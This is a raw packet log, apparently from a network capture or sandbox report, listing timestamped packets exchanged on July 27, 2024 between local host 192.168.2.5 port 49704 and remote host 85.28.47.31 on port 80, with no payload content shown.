Jul 27, 2024 12:01:15.638972044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.638993979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639050007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639061928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639096975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639121056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639173985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639187098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639223099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639244080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639297009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639309883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639342070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639372110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639415979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639436007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639467001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639496088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639542103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639561892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639592886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639622927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639677048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639689922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639727116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639750957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639803886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639816999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639853954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639875889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639930010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.639941931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.639976025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640005112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640058994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640072107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640117884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640144110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640204906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640233040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640275955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640299082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640321970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640367031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640420914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640434027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640464067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640527010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640579939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640594006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640631914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640650988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640705109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640717983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640752077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640775919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640830040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640842915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640878916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.640902042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640954971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.640969038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641000986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641028881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641082048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641094923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641129017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641150951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641204119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641231060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641275883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641297102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641334057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641356945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641408920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641422033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641455889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641484976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641532898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641549110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641604900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641617060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641654968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641676903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641730070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641742945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641781092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641802073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641854048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641866922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641904116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.641927958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641980886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.641994953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642024040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642051935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642106056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642117977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642154932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642178059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642231941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642245054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642278910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642302990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642355919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642368078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642405033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642425060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642479897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642492056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642529964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642553091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642605066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642617941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642649889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642678022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642736912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642750025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642782927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642808914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642853975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.642884970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.642901897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.728744030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.728837013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.728869915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.728900909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.728946924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.728996038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729017019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729063988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729083061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729127884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729146957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729195118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729212999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729266882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729298115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729346991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729363918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729417086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729429960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729461908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729490995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729537010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729553938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729604006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729620934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729672909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729701996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729753971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729780912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729827881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729845047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729891062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729907990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.729962111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.729986906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730031967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730051994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730103016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730129004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730174065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730194092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730246067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730273008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730320930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730339050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730411053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730438948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730485916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730504036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730556011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730575085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730622053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730643034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730686903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730710983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730762005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730788946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730844975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730858088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730890036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730920076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.730967045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.730983973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731029987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731050014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731093884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731112957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731163979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731189966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731236935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731257915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731302977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731319904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731364965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731384993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731427908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731446028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731489897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731512070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731554985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731574059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731621027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731637955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731682062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731699944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731744051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731764078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731806993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731827021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731865883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731890917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731934071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.731955051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.731997013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732023001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732065916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732085943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732130051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732150078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732193947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732213020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732256889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732278109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732321978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732342005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732386112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732404947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732450962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732470036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732521057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732605934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732654095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732671976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732716084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732734919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732779980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732799053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732844114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732863903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732907057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.732927084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.732976913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733005047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733048916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733069897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733114958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733134031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733181000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733197927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733241081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733263016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733309984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733325958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733371019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733390093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733433962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733453035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733496904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733515978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733560085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733578920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733623028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733644009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733686924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733706951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733752966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733774900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733825922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733853102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733896017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733918905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.733962059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.733980894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734026909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734046936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734096050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734108925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734139919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734169006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734214067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734232903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734277010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734296083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734344006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734359980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734405994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734424114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734471083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734488010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734534025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734550953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734596014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734615088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734658957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734678030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734723091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734741926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734793901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734808922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734841108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734874964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734924078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.734935999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734967947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.734996080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735043049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735066891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735114098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735132933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735177994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735197067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735240936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735260010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735305071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735323906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735368967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735385895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735435009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735452890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735496998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735516071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735559940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735579014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735624075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735642910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735687017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735706091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735749960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.735768080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.735814095 CEST	49704	80	192.168.2.5	85.28.47.31
